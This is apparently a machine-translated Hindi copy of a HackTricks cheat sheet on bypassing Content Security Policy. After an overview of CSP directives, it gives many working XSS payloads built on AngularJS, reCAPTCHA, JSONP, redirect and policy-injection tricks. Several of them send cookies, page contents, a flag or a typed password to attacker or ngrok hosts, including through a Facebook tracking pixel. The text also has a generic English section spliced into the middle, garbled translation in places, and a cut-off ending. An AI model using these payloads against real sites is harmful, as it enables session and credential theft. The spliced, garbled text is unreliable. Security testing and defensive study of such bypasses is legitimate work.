Content Security Policy (CSP) Bypass

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।
अपने हैकिंग ट्रिक्स साझा करें, HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos को PRs जमा करके।

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स उत्कृष्ट हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रहें अपड

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

मेटा टैग के माध्यम से लागू किया गया:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

हेडर्स

CSP को इन हेडर्स का उपयोग करके प्रवर्तित या मॉनिटर किया जा सकता है:

Content-Security-Policy: CSP को प्रवर्तित करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।
Content-Security-Policy-Report-Only: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघन की रिपोर्ट ब्लॉक किए बिना करता है। प्री-प्रोडक्शन वातावरण में टेस्टिंग के लिए आदर्श है।

संसाधनों की परिभाषा

CSP निर्धारित करता है कि सक्रिय और निष्क्रिय सामग्री लोड करने के लिए मूल स्रोतों की प्रतिबंधितता, इनलाइन जावास्क्रिप्ट निष्पादन और eval() का उपयोग जैसे पहलुओं को नियंत्रित करता है। एक उदाहरण नीति है:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

निर्देशिका

script-src: जावास्क्रिप्ट के लिए विशिष्ट स्रोतों को अनुमति देता है, जैसे URL, इनलाइन स्क्रिप्ट, और इवेंट हैंडलर या XSLT स्टाइलशीट द्वारा ट्रिगर किए गए स्क्रिप्ट।
default-src: विशिष्ट फेच निर्देशिकाओं के अभाव में संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
child-src: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमति दी गई स्रोतों को निर्दिष्ट करता है।
connect-src: fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किए जा सकने वाले URL को प्रतिबंधित करता है।
frame-src: फ्रेम के लिए URL को प्रतिबंधित करता है।
frame-ancestors: वर्तमान पृष्ठ को एम्बेड कर सकने वाले स्रोतों को निर्दिष्ट करता है, <frame>, <iframe>, <object>, <embed>, और <applet> जैसे तत्वों के लिए लागू होता है।
img-src: छवियों के लिए अनुमति दिए गए स्रोतों को परिभाषित करता है।
font-src: @font-face का उपयोग करके लोड किए जाने वाले फॉन्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
manifest-src: एप्लिकेशन मैनिफेस्ट फ़ाइलों के अनुमत स्रोतों को परिभाषित करता है।
media-src: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमति दिए गए स्रोतों को परिभाषित करता है।
object-src: <object>, <embed>, और <applet> तत्वों के लिए अनुमति दिए गए स्रोतों को परिभाषित करता है।
base-uri: <base> तत्वों का उपयोग करके लोड करने के लिए अनुमति दिए गए URL को निर्दिष्ट करता है।
form-action: फॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची देता है।
plugin-types: पृष्ठ द्वारा आमंत्रित किए जाने वाले माइम प्रकारों को प्रतिबंधित करता है।
upgrade-insecure-requests: ब्राउज़र को HTTP URL को HTTPS में रीव्राइट करने के लिए निर्देशित करता है।
sandbox: <iframe> के सैंडबॉक्स विशेषता के समान प्रतिबंध लागू करता है।
report-to: यदि नीति का उल्लंघन होता है तो रिपोर्ट भेजा जाएगा, उस समूह को निर्दिष्ट करता है।
worker-src: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
prefetch-src: उन स्रोतों के लिए मान्य स्रोतों को निर्दिष्ट करता है जो लोड या पूर्व-लोड किए जाएंगे।
navigate-to: किसी भी तरीके से एक दस्तावेज़ जिसे नेविगेट किया जा सकता है, के लिए URL को प्रतिबंधित करता है (a, form, window.location, window.open, आदि)।

स्रोत

*: data:, blob:, filesystem: योजनाओं वाले URL को छोड़कर सभी URL की अनुमति देता है।
'self': एक ही डोमेन से लोड करने की अनुमति देता है।
'data': डेटा योजना के माध्यम से संसाधनों को लोड करने की अनुमति देता है (उदाहरण के लिए, बेस64 एन्कोडेड छवियाँ)।
'none': किसी भी स्रोत से लोड करने की अनुमति नहीं देता है।
'unsafe-eval': eval() और समान विधियों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती है।
'unsafe-hashes': विशिष्ट इनलाइन इवेंट हैंडलर को सक्षम करता है।
'unsafe-inline': इनलाइन <script> या <style> जैसे इनलाइन संसाधनों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती है।
'nonce': एक क्रिप्टोग्राफिक नॉन्स (एक बार उपयोग किया गया संख्या) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक सफेद सूची है। यदि आपके पास JS सीमित क्रियान्वयन है तो पृष्ठ में उपयोग किए गए nonce को प्राप्त करना संभव है doc.defaultView.top.document.querySelector("[nonce]") और फिर इसका पुनः उपयोग करके एक दुरुपयोगी स्क्रिप्ट लोड करना (यदि strict-dynamic का उपयोग किया जाता है, तो किसी भी अनुमति दिए गए स्रोत नए स्रोतों को लोड कर सकते हैं, इसलिए यह आवश्यक नहीं है), जैसे:

<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

'sha256-<hash>': विशिष्ट sha256 हैश के साथ स्क्रिप्ट को सफेद सूची में डालता है।
'strict-dynamic': किसी भी स्रोत द्वारा सफेद सूची में डाला गया हो तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
'host': example.com जैसा विशिष्ट होस्ट निर्दिष्ट करता है।
https:: URL को HTTPS का उपयोग करने वालों पर प्रतिबंध लगाता है।
blob:: Blob URLs से संसाधनों को लोड करने की अनुमति देता है (जैसे, जावास्क्रिप्ट के माध्यम से बनाए गए Blob URLs से)।
filesystem:: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
'report-sample': उल्लंघन रिपोर्ट में उल्लंघन कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
'strict-origin': 'self' के समान है लेकिन स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज से मेल खाता है (केवल सुरक्षित मूल स्रोत सुरक्षित मूल स्रोतों से संसाधनों को लोड कर सकते हैं)।
'strict-origin-when-cross-origin': समान मूल स्रोत अनुरोध करते समय पूर्ण URL भेजता है लेकिन अनुरोध क्रॉस-मूल है तब केवल मूल को भेजता है।
'unsafe-allow-redirects': संसाधनों को लोड करने की अनुमति देता है जो तुरंत दूसरे संसाधन पर पुनर्निर्देशित हो जाएंगे। सुरक्षा को कमजोर करने के लिए सिफारिश नहीं की जाती है।

असुरक्षित CSP नियम

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

काम करने वाला पेलोड: "/><script>alert(1);</script>

सेल्फ + 'अनसेफ-इनलाइन' आईफ्रेम के माध्यम से

pageCSP bypass: self + 'unsafe-inline' with Iframes

'अनसेफ-इवैल'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

काम करने वाला पेलोड:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

यदि आप किसी प्रकार से अनुमत JS कोड नए स्क्रिप्ट टैग को DOM में अपने JS कोड के साथ बना सकते हैं, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रहा है, तो नया स्क्रिप्ट टैग को निषेधित किया जाने दिया जाएगा।

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

काम करने वाला पेलोड:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

ऑब्जेक्ट-एसआरसी और डिफ़ॉल्ट-एसआरसी की कमी

ऐसा लगता है कि यह अब काम नहीं कर रहा है

Content-Security-Policy: script-src 'self' ;

काम करने वाले payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

फ़ाइल अपलोड + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को बाईपास कर सकते हैं:

काम करने वाला payload:

"/>'><script src="/uploads/picture.png.js"></script>

हालांकि, यह अधिक संभावित है कि सर्वर अपलोड की गई फ़ाइल की पुष्टि कर रहा है और केवल आपको निर्धारित प्रकार की फ़ाइलें अपलोड करने देगा।

इसके अतिरिक्त, यदि आप किसी फ़ाइल में JS कोड अपलोड कर सकते हैं जिसका एक्सटेंशन सर्वर द्वारा स्वीकृत है (जैसे: script.png) तो भी यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर फ़ाइल का MIME प्रकार चयन करते हैं एक्सटेंशन के आधार पर और Chrome जैसे ब्राउज़र उसमें जावास्क्रिप्ट को निषेधित करेगा जो कि एक छवि होना चाहिए। "आशा है", यहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मुझे पता चला कि अपाचे को पता नहीं है कि .wave एक्सटेंशन, इसलिए यह एक ऑडियो/* जैसा MIME प्रकार सर्व करता नहीं है।

यहाँ से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आपको गलत अनुरूपीकरण एक्सटेंशन मिलता है, तो आप उस एक्सटेंशन के साथ एक फ़ाइल और स्क्रिप्ट की सामग्री अपलोड करने की कोशिश कर सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल का सही प्रारूप जांच रहा है, तो एक पॉलीग्लॉट बना सकते हैं (यहाँ कुछ पॉलीग्लॉट उदाहरण हैं)।

थर्ड पार्टी एंडपॉइंट्स + ('unsafe-eval')

कुछ निम्नलिखित पेलोड के लिए unsafe-eval की आवश्यकता ही नहीं है।

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

एक वंशावली संस्करण को लोड करें और विविध JS को क्रियान्वित करें:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular का उपयोग करने वाले पेलोड + एक पुस्तकालय जिसमें फ़ंक्शन होते हैं जो `window` ऑब्ज

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS from a class name:

एंगुलर XSS एक क्लास नाम से:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google reCAPTCHA JS को दुरुपयोग करना

इस CTF व्रिटअप के अनुसार आप https://www.google.com/recaptcha/ का दुरुपयोग कर सकते हैं एक CSP के अंदर अनियमित JS कोड को चलाने के लिए CSP को छलकरते हुए:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

इस लेख से अधिक पेलोड।

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

तीसरे पक्ष के एंडपॉइंट + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

इस तरह के परिदृश्य जहां `script-src` को `self` और एक विशेष डोमेन जो व्हाइटलिस्ट किया गया है, को JSONP का उपयोग करके बाईपास किया जा सकता है। JSONP एंडपॉइंट्स असुरक्षित कॉलबैक मेथड को संभावित करते हैं जिससे हमलावार XSS कार्रवाई कर सकते हैं, कार्यक्षम पेलोड:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee में विभिन्न वेबसाइटों के CSP बाईपास के लिए तैयार JSONP एंडपॉइंट्स हैं।

यदि विश्वसनीय एंडपॉइंट में ओपन रीडायरेक्ट होता है, तो एक ही दुरुपयोग होगा क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट भी विश्वसनीय हैं।

तीसरे पक्ष का दुरुपयोग

निम्नलिखित पोस्ट में वर्णित के अनुसार, कई तीसरे पक्ष डोमेन, जो कहीं-न-कहीं CSP में अनुमति हो सकते हैं, उनका दुरुपयोग किया जा सकता है या तो डेटा को बाहर ले जाने के लिए या जावास्क्रिप्ट को निष्पादित करने के लिए। कुछ तीसरे पक्ष इस प्रकार हैं:

Entity	Allowed Domain	Capabilities
Facebook	www.facebook.com, *.facebook.com	Exfil
Hotjar	*.hotjar.com, ask.hotjar.io	Exfil
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Exec
Amazon CloudFront	*.cloudfront.net	Exfil, Exec
Amazon AWS	*.amazonaws.com	Exfil, Exec
Azure Websites	.azurewebsites.net, .azurestaticapps.net	Exfil, Exec
Salesforce Heroku	*.herokuapp.com	Exfil, Exec
Google Firebase	*.firebaseapp.com	Exfil, Exec

Entity

Allowed Domain

Capabilities

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

यदि आपके लक्ष्य के CSP में किसी भी अनुमत डोमेन को पाते हैं, तो संभावना है कि आप तीसरे पक्ष सेवा पर पंजीकरण करके CSP को बाईपास कर सकते हैं और या तो उस सेवा पर डेटा को बाहर ले जा सकते हैं या कोड को निष्पादित कर सकते हैं।

उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:

Content-Security-Policy: default-src 'self’ www.facebook.com;

Content Security Policy (CSP) Bypass

Introduction

In this section, we will discuss various techniques to bypass Content Security Policy (CSP) restrictions on a web application.

What is CSP?

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which the browser can load resources for a specific web page. If an attacker tries to load resources from unauthorized sources, CSP will block those requests.

Bypass Techniques

Unsafe Inline Scripts: By using 'unsafe-inline' keyword in the CSP policy, inline scripts can be executed despite the CSP restrictions.
Unsafe Eval: Similarly, using 'unsafe-eval' allows the execution of dynamic code generated using eval() function.
Data Protocol: Attackers can use the data: protocol to bypass CSP restrictions and load resources from data URLs.
Meta Tag Manipulation: Modifying the <meta> tag of the web page can sometimes help in bypassing CSP restrictions.
Whitelisted Domains: If a domain is whitelisted in the CSP policy, attackers can try to host malicious code on that domain to bypass CSP.

By understanding these bypass techniques, security researchers and developers can better protect their web applications against potential CSP bypass vulnerabilities.

Content-Security-Policy: connect-src www.facebook.com;

आपको डेटा को बाहर निकालने में सक्षम होना चाहिए, जैसे कि Google Analytics/Google Tag Manager के साथ हमेशा किया गया है। इस मामले में, आप निम्नलिखित सामान्य चरणों का पालन करेंगे:

यहाँ एक Facebook Developer खाता बनाएं।
एक नया "Facebook Login" ऐप बनाएं और "वेबसाइट" का चयन करें।
"सेटिंग्स -> मौलिक" पर जाएं और अपना "ऐप आईडी" प्राप्त करें।
जिस साइट से आप डेटा बाहर निकालना चाहते हैं, वहां आप "fbq" उपकरण का सीधा उपयोग करके "कस्टम इवेंट" और डेटा पेलोड के माध्यम से डेटा बाहर निकाल सकते हैं।
अपने ऐप "इवेंट मैनेजर" पर जाएं और आपने बनाया ऐप्लिकेशन चुनें (ध्यान दें कि इवेंट मैनेजर इस प्रकार के यूआरएल में पाया जा सकता है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
"टेस्ट इवेंट्स" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स देख सकें।

फिर, पीड़ित पक्ष पर, आप निम्नलिखित कोड को निष्पादित करें ताकि आप Facebook ट्रैकिंग पिक्सल को आक्रमक के Facebook डेवलपर खाता ऐप-आईडी पर पॉइंट करने और इस प्रकार कस्टम इवेंट जारी कर सकें:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

रीडायरेक्ट के माध्यम से बायपास

उपरोक्त पथ प्रतिबंधों को अनदेखा करने के लिए रीडायरेक्ट के अतिरिक्त, कुछ सर्वरों पर एक और तकनीक नामक रिलेटिव पथ ओवरराइट (RPO) है जिसका उपयोग किया जा सकता है।

उदाहरण के लिए, यदि सीएसपी पथ https://example.com/scripts/react/ को अनुमति देता है, तो इसे निम्नलिखित रूप में बायपास किया जा सकता है:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ब्राउज़र अंततः https://example.com/scripts/angular/angular.js लोड करेगा।

यह काम करता है क्योंकि ब्राउज़र के लिए आप https://example.com/scripts/react/ के तहत स्थित ..%2fangular%2fangular.js नामक फ़ाइल लोड कर रहे हैं, जो सीएसपी के अनुसार है।

इसलिए, वे इसे डिकोड करेंगे, जिससे https://example.com/scripts/react/../angular/angular.js का अनुरोध किया जाएगा, जो https://example.com/scripts/angular/angular.js के समान है।

ब्राउज़र और सर्वर के बीच URL व्याख्या में असंगति का उपयोग करके, पथ नियमों को उल्लंघन किया जा सकता है।

समाधान यह है कि सर्वर-साइड पर %2f को / के रूप में न देखें, इस समस्या से बचने के लिए ब्राउज़र और सर्वर के बीच संगत व्याख्या सुनिश्चित करें।

ऑनलाइन उदाहरण:https://jsbin.com/werevijewa/edit?html,output

Iframes JS execution

pageIframes in XSS, CSP and SOP

गायब base-uri

यदि base-uri निर्देशिका गायब है तो आप इसका दुरुपयोग करके डैंगलिंग मार्कअप इंजेक्शन कर सकते हैं।

इसके अतिरिक्त, यदि पृष्ठ एक निर्दिष्ट पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है (जैसे <script src="/js/app.js">) एक Nonce का उपयोग करके, तो आप बेस टैग का दुरुपयोग करके इसे अपनी सर्वर से स्क्रिप्ट लोड करने के लिए कर सकते हैं अपना XSS प्राप्त करना। यदि संकटपूर्ण पृष्ठ httpS के साथ लोड हो रहा है, तो बेस में httpS url का उपयोग करें।

<base href="https://www.attacker.com/">

AngularJS घटनाएँ

एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) कहा जाता है, जावास्क्रिप्ट घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्ज

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

यह स्निपेट ng-focus निर्देशिका का उपयोग हासिल करता है घटना को ट्रिगर करने के लिए, $event.path|orderBy का उपयोग करता है path एरे को संशोधित करने के लिए, और alert() फ़ंक्शन को निष्पादित करने के लिए window ऑब्जेक्ट का उपयोग करता है, जिससे document.cookie प्रकट होता है।

अन्य एंगुलर बायपास खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

एंगुलरजेएस और व्हाइटलिस्टेड डोमेन

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

कार्य करने वाले पेलोड:

एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को सफेद सूची में शामिल करती है, उसे कॉलबैक फ़ंक्शनों के आह्वान और कुछ वंशावली क्लासेस के माध्यम से उम्रकै सकता है। इस तकनीक के बारे में अधिक जानकारी इस गिट रिपॉजिटरी पर उपलब्ध एक विस्तृत गाइड में मिल सकती है।

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Bypass के माध्यम से पुनर्निर्देशन

CSP को सर्वर-साइड पुनर्निर्देशन का सामना करने पर क्या होता है? अगर पुनर्निर्देशन एक अलग मूल स्थान में जाता है जो अनुमति नहीं है, तो यह फेल हो जाएगा।

हालांकि, CSP स्पेक्ट्रम 4.2.2.3. पथ और पुनर्निर्देश में विवरण के अनुसार, अगर पुनर्निर्देशन एक अलग पथ में जाता है, तो यह मूल निषेधों को छल सकता है।

यहाँ एक उदाहरण है:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

यदि CSP को https://www.google.com/a/b/c/d पर सेट किया गया है, क्योंकि पथ को माना जाता है, इसलिए /test और /a/test स्क्रिप्ट दोनों CSP द्वारा अवरुद्ध किए जाएंगे।

हालांकि, अंतिम http://localhost:5555/301 सर्वर-द्वारा https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// पर पुन:निर्देशित किया जाएगा। क्योंकि यह एक पुनर्निर्देशन है, पथ को ध्यान में नहीं रखा जाता है, और स्क्रिप्ट लोड किया जा सकता है, इसलिए पथ प्रतिबंध को उलटा कर दिया जाएगा।

इस पुनर्निर्देशन के साथ, यदि पूरी तरह से पथ निर्दिष्ट किया जाता है, तो भी यह उल्लंघन किया जाएगा।

इसलिए, सबसे अच्छा समाधान यह है कि सुनिश्चित किया जाए कि वेबसाइट में कोई खुला पुनर्निर्देशन संरचनात्मक दोष नहीं है और कोई डोमेन नहीं है जिसे CSP नियमों में शोषित किया जा सकता है।

डैंगलिंग मार्कअप के साथ CSP को उल्लंघन करें

यहाँ पढ़ें.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट निष्पादित कर सकते हैं (XSS कोड को निष्पादित कर सकता है) और img-src * का मतलब है कि आप वेबपेज में किसी भी स्रोत से किसी भी छवि का उपयोग कर सकते हैं।

आप इस CSP को छलकर सकते हैं छवियों के माध्यम से डेटा निकालकर (इस अवसर में XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा पहुंची जा सकने वाली पृष्ठ में एक SQLi होती है, और एक छवि के माध्यम से ध्वज निकालता है):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

आप इस कॉन्फ़िगरेशन का दुरुपयोग करके एक छवि के अंदर डाले गए जावास्क्रिप्ट को लोड कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियां लोड करने की अनुमति देता है। तो आप एक विशेष छवि तैयार कर सकते हैं, इसे ट्विटर पर अपलोड कर सकते हैं और "unsafe-inline" का दुरुपयोग करके एक JS कोड (एक नियमित XSS के रूप में) को चलाने के लिए कर सकते हैं जो छवि को लोड करेगा, उससे JS निकालेगा और इसे चलाएगा: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

सेवा कर्मचारियों के साथ

सेवा कर्मचारियों का importScripts फ़ंक्शन CSP द्वारा सीमित नहीं है:

pageAbusing Service Workers

नीति इंजेक्शन

शोध: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

यदि आप द्वारा भेजे गए पैरामीटर को नीति के घोषणा के अंदर पेस्ट किया जा रहा है, तो आप नीति को किसी ऐसे तरीके से बदल सकते हैं जो इसे अनर्थक बना देता है। आप इनमें से किसी भी बायपास के साथ स्क्रिप्ट 'unsafe-inline' को अनुमति दे सकते हैं:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

क्योंकि यह निर्देशिका मौजूदा script-src निर्देशिकाओं को अधिलेखित कर देगी। आप यहाँ एक उदाहरण देख सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge में यह काफी सरल है। यदि आप CSP में बस यह जोड़ सकते हैं: ;_ तो Edge पूरी नीति को छोड़ देगा। उदाहरण: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

नोटिस करें निर्देशिका 'unsafe-inline' की कमी को। इस बार आप पीड़ित को एक पृष्ठ अपने नियंत्रण में XSS के माध्यम से लोड करने के लिए कर सकते हैं <iframe। इस बार आप पीड़ित से उस पृष्ठ को एक्सेस करने के लिए करने जा रहे हैं जहां से आपको जानकारी निकालनी है (CSRF)। आप पृष्ठ की सामग्री तक पहुंच नहीं सकते, लेकिन अगर किसी तरह से आप पृष्ठ को लोड होने में समय को नियंत्रित कर सकते हैं तो आप जो जानकारी आपको चाहिए उसे निकाल सकते हैं।

इस बार एक ध्वज निकाला जाएगा, जब किसी char को सही ढंग से अनुमानित किया जाता है तो प्रतिक्रिया के कारण सोने का कार्य होता है। फिर, आप ध्वज निकाल सकेंगे:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
